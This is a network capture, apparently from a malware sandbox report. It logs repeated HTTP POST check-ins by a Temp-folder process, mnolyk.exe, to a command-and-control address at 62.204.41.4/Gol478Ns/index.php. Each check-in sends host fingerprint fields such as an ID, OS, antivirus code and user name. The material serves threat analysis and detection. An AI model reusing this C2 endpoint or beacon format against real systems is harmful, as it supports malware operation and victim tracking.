Feb 6, 2023 18:38:05.389956951 CET	931	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
472	192.168.2.7	50200	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:05.567461967 CET	932	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:05.634252071 CET	932	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
473	192.168.2.7	50201	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:05.815510988 CET	933	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:05.880518913 CET	933	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
474	192.168.2.7	50202	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:06.231570005 CET	934	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:06.299165010 CET	934	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
475	192.168.2.7	50203	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:06.492873907 CET	935	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:06.557442904 CET	935	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
476	192.168.2.7	50204	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:06.733576059 CET	936	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:06.797574997 CET	936	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
477	192.168.2.7	50205	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:07.442403078 CET	937	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:07.509082079 CET	937	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
478	192.168.2.7	50206	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:07.828165054 CET	938	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:07.892654896 CET	938	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
479	192.168.2.7	50207	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:08.630703926 CET	939	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:08.697093964 CET	939	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.7	49772	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:09.270270109 CET	480	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:09.336646080 CET	480	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
480	192.168.2.7	50208	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:09.067569017 CET	940	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:09.133527994 CET	940	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
481	192.168.2.7	50209	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:09.315254927 CET	941	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:09.380939960 CET	941	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
482	192.168.2.7	50210	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:09.556488037 CET	942	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:09.621283054 CET	942	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
483	192.168.2.7	50211	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:09.797467947 CET	943	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:09.862864971 CET	943	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
484	192.168.2.7	50212	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:10.033407927 CET	944	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:10.100136042 CET	944	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
485	192.168.2.7	50213	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:10.266407967 CET	945	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:10.331212997 CET	945	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
486	192.168.2.7	50214	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:10.502845049 CET	946	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:10.566845894 CET	946	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
487	192.168.2.7	50215	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:10.750044107 CET	947	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:10.813678980 CET	947	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
488	192.168.2.7	50216	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:10.984164953 CET	948	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:11.049561977 CET	948	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
489	192.168.2.7	50217	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:11.221533060 CET	949	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:11.286397934 CET	949	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.7	49773	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:09.507797956 CET	481	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:09.572981119 CET	481	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
490	192.168.2.7	50218	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:11.455699921 CET	950	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:11.520849943 CET	950	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
491	192.168.2.7	50219	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
